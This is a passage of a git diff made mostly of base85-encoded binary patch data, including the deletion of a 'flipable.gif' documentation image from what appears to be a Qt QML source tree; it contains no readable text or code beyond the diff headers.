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 McaHu4=AVH70n_wT5C8xG diff --git a/src/qml/doc/images/flipable.gif b/src/qml/doc/images/flipable.gif deleted file mode 100644 index fd187906bb7ad05e3d1de4776233c1fe3a8c5bca..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 131710 zcmeF4WmFqlx2}T|thf~k8oWRYMG7Usp+KT1@w~nHjWrsdO2opMgQ}2ekT3O!{CN zBThCWE|3WuyWu0S2@j(=uQHsK!<3i9k_BYL#$^Fvu>76@TQ(`qV{5*i%HV%KtA-Vw?)+1hSne=t5RG$WDyOn!HsSqP40f33Zcy&Q4Qf?EuMbe z>Y;7V(>jG>+g`lr(@JfL3F$LTXpeo-ZvhB4!(t(tc!R+h_?~1{qiYd{uk=)!jzPWD^HKV1q zV`bHoMP=_onnpXzr$g&r*LRQiR?NjWy{&1VYObG8tea17n$K%p$n2eI?4D_FSkCT$ zH`u-LxG*rd)Hb&Ca$x0U|9VCD`-+j}p}vi}q4k!r)zSVB z^{-dnzFr%cSRWtSZkpWfnc8|gyFLD9zju0PYH53V>Y#6azi)YaWA1Qlb#HEIe`Vq0 z#QNdF>hbi(@#NCU zNV~ZDx!c*;dV)BlIYEN_0)ik_7Y92tkhF`ttBbptr=5#4$jsUDfr~rH&eH?r;brb& zXK82V?#IDvXXU}k2VnY!iHi>S1Hgm&hp1ng6aavG3oroEDKr)hgyNEM@fm2Z`$dPXOK3=7y+=ffiHQr6LXTu{Q)(WjJ_vi0 zEfqRN?#gU4mQT8)Ks?!6jaf>a%y&6lT)j|1_e54!)a~`VTGL>>Wx*7OVNSC-ynI3R zV@Rw0&Xnc-87D}m8Qb{bjP&SitEZZ97&Z6=*o@PWhl}r3t`}C&CzwtQG%u@xW7(G9 z+-#cH2EQ|wU|ME|Lb9=B>z=@pc8hB0@2N&*+wFweN|!n->9^a3Cf6~LNMvr3)Yjcw zJ>5zZnVt>`zdp}DmzrC1$;IY-a|yT#9q7509)A6((W_#D#+#wD{Kz$YcLYD~DOnSw zr0%p^JK;RD z?phbsjtiz6IE?_~h(ib9IpMmI3KS~OmMYK%&ZC*vQ>-K!GHV&YWZFq9V834arAMN< zo*Q{T119C=p|KuXXPa#;vqYlv-Y`L2z605dvfZr9Am0QQigLkeH#UY<3$p%>^Y% zq0S3GF!WT)uo$XrO)5gjNvQmX?LJ1niF@n%7c1uxGWocs zk#pxaBqI#cS~KIUnT{6|9F=t!lROu0#@#kuRnx$DKb>m$4CBfIN?yz7Cy>w&!M z-@WVKz3bn->pj2gJ-_Qcznh!5o13_s`MI09f^Jlp8XSnkgx$_pe^ToOI#kupvx$|_o^K`oNbh`5+yYnNv z^U}NX(!2B0yYqp(^MSncfxPoDz4I`=^Dw>h-~Ip1f0y;J!EETacl5Kr{KzQamzhna z^1=6?#`IFVmraDTsntBny0FM&pku|wC6+>95=m^wIYtXiMQ1+>#VhCB44X=L!Zw=B z-&(B+lvjigA4Z4H)vAj6rW~JdQx@qCVN*0(na_r44%g6&$!@QN+AU3%uTXBUg}99< zCC!vZ5>(iKw9o72Pgo|iy5}s)B+NC~gDw&5#KlB9tN?GoTUJVTg^ucA$-h~<9Nw%4 zV%brW&s<1BQp1}APrjM%S0v0}6C+ov?N+Pq$#wf%dctPp>$|P>dQ1~5N5f;VpS0q* z#^T%)c}uudZ91fK@7C~uW4-z&yljPN{=KK@&^|_o2yZ?Aujwzy6C4G@^V2WaSK(d& z8zjL}n%5gF9b#K3kQfBVpd>c{yt=|El$yt43w9@dEV+B(qqOgxpF47Ev z3M&wo>?mdkmy%CX9KZ2$O!N(*R;fQ$6L>xjV%EsI=ZJ_SYskH?4{c8-g%GB(@bOdmka1Xp zpCCvaR`~r)JO%7VH=|=B-&>mmE^Y6g9bSYgf0kb|&Ql+y_0YB%qc$LD9vezHAsJ&Y zWp$tQcG~@ycl46um$xDZbzi2Qd_D1)LPPtXjii6I(f-Q>-B4k=a43?1MJX@qoJl5z z`XN{AA*^&P5h;R)spwuZp29&>@ND8@Qz^;K-!%yYk^-QSid;r%URaHafbCc5l;$fC zWKSf%=TXZ;XDVTAtRtOi#b6>>3v_QYnoB;$Ak3a#T&tflMw?8P>2>=dd8!FZy_53N z{#ukB;S?J;L@tp*Ft7P#55Ehf89c?j?jFMPz7tQvE}fXuoV8A`hcY6sQ9x^u^ed%A zamp761crs1qMKa=YLd}$dE`XwF;k7d6e9O4?b0z8j|Cz@>d$e=0yAKFw7ydvwk-p} zXJ6gtRYoOPlfb^Zj_4C?GH1eJ@iAKMG z@A~vbdfa>JIwV0zUpOT~4`@s5h<4M?=!&aiGv~36B?5v_Vk5S~mT2a;BK_lq`XlHl zWz8Xe@lnKqYQY)I>fFL%rjgeqm=-?RO^>zWG4}Qt)!7!=b~G1wBSG#RN4lAA?{f%k}34( zvrAxG7=p~E{kT(;uj+47x=h!3hURIQ6 z^kD<*92_OZ;jIxz_BCy#v)`>{3eG2yDj1ieU^%xmhf{!?l+tlSk?N!HZcjof>Vi*$ zwOq0x<5DiQg5=7u{KS#kWE9AsmrUeady>Ef{%f6jzMvP#_0bxsBad!xuDU zOpMDIXU~MYPh!RXPayYtNd4~^i~PnIokl57;WKDBlH#Ggmha5gXd*~l4pTAZH^yuz zj7hhYQvMspd!uARPI&b8n*G3n`!C>eEWuTpm83~8 zZ5AV(<|r?J^Vt&_l$U?A_E84YdLyajP<}4{aRTHKtyefofQK4vZh7W*V&& z#VRnnP>J5|UY83KSd8#xehi=Fvm!hBtcC7Yg7`&xx^=%~5JSz0k>I5_$gC2l=GH=nnyz=F&Z9|O)){u5 zQ8`564yNr}_z8$y<8~Q&{_nFa3ALB9eQ zOd%Ajp2cB{O!H;{M#{8e6%5-^CM~Q81*TZ+{N;QIONK&{Da)dKQk?YOVvN7^%JOvJ zFA^)5p)kz>xfkWBkBqlCb9R}}d7H?4$OjTO42Tr-Lh-W^sz7ard#eWiK%M=DQP!(e%x%=spp7l|J4@7c99%!aF1; zk)(Uq+JXU-22R3tX$#MGJ2r=YqSr~U5Z<%d%Wc9R5v32<4UT58%V&O6Q=r)|oCMMw zk4Z0%+>e1dXs|0gawpJ)IW`;jt%9YK8}XdV%?tF?kxSV8{hGy;^Nvur=lD)B_7U8C zB?nBR{f4DAJ@rlGK<3acU3ySxLxMT@Q}1fvt|FcMN!t>Mo2h*g*dxc^N}2fKYv*Cc zc;zNJN)toMm$YCZw=pL-f{RhK#JJC6>^oeu|JBR?Z#{k}^N&*e%|Z6>eH4b{jp_Z7 z_wJ(@CSj6^`jcUS?a{>h;wUL@E*TGI(-eGC-E0NTU<>%KQcSx4w-jIQ1Cu1VN0VW# zcIv<1~mBatQ#)VXx&8nvrgEwHd+X)Dmw?R;LJSTW0ux+ z&(A1^Rm3TNX|xY0=p-ui;@^xf%urEWyKiyAMbX8Kz`&B^W8<^5zrz>$3raH%xXY$B{dsFs`cIsGoJ3(f*X zHuNWn7a|B#)<)CgC5i8J=#7~WAe=%{$kd&lG`!d-h{@6n02c0KfT)bvz`|5sEKd4K zx7j9zZoH+|0o=zHVfMnJY@?1Za9T5JA+SpGLn@KN^T-q6O?NT%B@oHPp2#WF>Xh+PDjTpmC zoS`i_dNbr}HCS22n-TY&1HpFg^?9O0F2i5ck{DO-xx9Ias!3uj&kci6$U<^Jq6*lPag44d3slc#7* z8nygMbTe*89|;ys z8GCVgnXUGhLoE8L8k^@>Y*#3sTxbcsS;h(wNhj{D8h9le(9e)}4sd#>ia{mpZ|ZLy z))#y0ZF93?Yx+?x{(kG4{cD#Cy|E6iAhOSp>&dybgrF{M-;!B+`3*=e2^&D#{7N3? zPz=1;fJ|=;=Rq%{BVl1^&wLr(k)~B!5DHQuLLv1%+D$voP>@&n7W76_M4-8D(x-9x+vVlqAoQ%^yl3NEA+KpJD?;28 zyf*U<+0zQu2}ySq%baiR(vl1$Tc@+T71OHhSnD5iK+Yt*5dOdy_9%Zn$tvR9N=S)4 zj8)H^qN>WC8MUCM0V#}C*M7Em2<@6+TS6imBVi7s=!;wh1hVFKE%`)8T+#*eN~bCq zS`NIeWFs?9Ef~X}Imt_m0!+iPnB4a3wj?{!2_RAbpVZB}!^s#bHI`8to0FNi2G#^Ll{h$P zXy~{}{l$@r*`S@g{_K`2bu{oc0<&8^1QqmRD8OoxIc3%8O6-Lu2Q+1CNjr!)l;HhK z8RV5oMh2dEvW@r)&G{eU%d2F5Uc8Q^^6v9`h?+&AQq(-Z z#$pwEuP{U1dDvn<=@&@}CTccmWC*(kDq3)#nI{qj&x@&_LLlmjW5P&&jd_-0j}S>x zuZN$)B#M-9-(PQY~spyj09gvXK{fWUTs=emBSYaKUEULzLHNBk&gmX0cWeFlsuS zl-bi%l|r9GFXBDhFq1JNTf`i}=6pl`9Q%bWxh)cAqZNrG>dojWFhv2d{UbRl89FQ> zn;xf*g{>VxXzx4iEjIy6ikG~lE>vHn+06=4vs#P+Yf*YhWvQub0kt*=tEa8x&~Pi% zf4;0<2uCaPOAauqXSV_5oK9rqlkk#jN4gB&ux0CKv+d@GP<~woGJUV6K=9O5Cpm}; zj8A7n6K`sPX+mDkeNu(ZSf-0h{VaBJ#bPy*Vti*)rpRw9QigPrUN~<`pQMr_i)L5Jk;vzkW!}B9j1m{5P-nRB8;P+)=zz z87Te9EATH~D6d;-^g~ckt?31hi;`O+?=2@&klrufIsj_S> zS!LXxytWdqOcHLkGp&c)k174`gq%Zq=>J3cw;``R{EE-frHUU`S|;B$QusV2!jcSchMr&H=&br znTh^@mQSU#E0HPCJQ}wCz#TI<%mM9?eNzDsLIv+dUrlQH4$wou69$-N8$`4ry|5Eu}V4c^iAo40@k<5)mjWaam=3ZghEwCJ*`EudU@Mf$n2 z$&r=m?(Ut$p=7jS2jN(!ig0V2GwSrvf;?h#?g)FfvQ!cQ8Ea><;I8z{sHtjL0IXVP z1Aeu42$r^^T?nnhF|#YM&6i;&KT@ZA_F11hQt}$EpA4>-L}eDT&0LfxiRwV^*g`|uEV#Mn!X;Cq4hx&x8L-C@( zHA-KH-7rzSl8lvxsCJ)K^CK-C2bf1<&Nc8J)XfYKy;^V`CjFrNS&z(wpmv0I4S)Xs zJu;wM{ttbf-bC@r_?uUA6t6)2_3_W@48#iU6}`IDYynz02H_UV%YsS8CE9f#{m-UpO1 zs=w6pG}@8stvdIcz1F-Zhg;p(P}wnQIjv@Inr$nE>*19!*$%jhh^`qNNlGiXU8IfB z36CdnAbjFhKTpQ7!%qH48&MQ*Q67O^o76l%f>-IvF5z|cEIhf@TX^!@_`E`vEaQoQ zkf8KCG?70fR#`+G!f>h>3TZ_W<}s#RSl+yNxdjiMNxnsQ;q2YasFttz$QSjbe=9T_ zpEOfU((Fg+GQPXbROj>BVR>NV^b0w9S3OAK)z>`8YZ@y$C?>Wk2&y4*m=r{aZORm2 zK#Fq8diUHSilqdt=M$SV7nbS+O-X?dLLi%2g zG8v&!ThePB0YytvG$&v%Ur#Ld&}7x^ESR0KACxW7KxIqO-en_8!$A}4h)n}Ku!~t| z#SUm@hb_TwmgyWpbC8Xfthb-$vzTq;6p+%Ilpr4rPXdFVFURCtuCRll7OLeO(xKQK zoP~J#j~CFc*jo4DpR6XTp_bwPFjk#oy+ip7LMvJTj%FS_2_$iAS5r&?+yF9+W&G%9ud)~aCj__HdEH)znRV!Z5mE{m_B)*$8P>sh? zky1QwarD1NvOi(}lr{j;9X6!@xdPB|Jc()GZ%~;Bqo{HI162LrpejbPG8GtR^Oq}S z@Ea+S(?o`1qM>0bY!b_tJquw{+a!=`uSBclw_4l7&BoRoN47q=kH;+3F)oSR>rKeuFwX*F^S-FYcjm^&pvHH6M8$tZrU` zki{;XtDj7%k)TU|-Cmc;A}pi?kJwT@$)co8!oW&orD{7|^SB+4u&qV@4Uk1vBBlLw zfJL3E0lth;6ZT%#3P&gY{uWwQ1KB>WzpLNtEnF|@{LZ#BkJ6-u+sBVPN4f`(WbaYS zn81IkZSRwmJh1Odzb=u;dZiY%Tm@J*toBK=Xs5Z<;|`+m%7daU+Q354czo9aaUs-O zeg=e_o1q#<;8ZB3Qs;Z!X1A)MNWNg)bOcMi_O_2qv@OURhoZyC%YzA1JMip97P0H& zc0m&#Y!Yj77m13jq+~gIOco>LIDkHe6Lq7%D3G}-Q`gL6U-!jslOs<=KJi0<4bbJ- 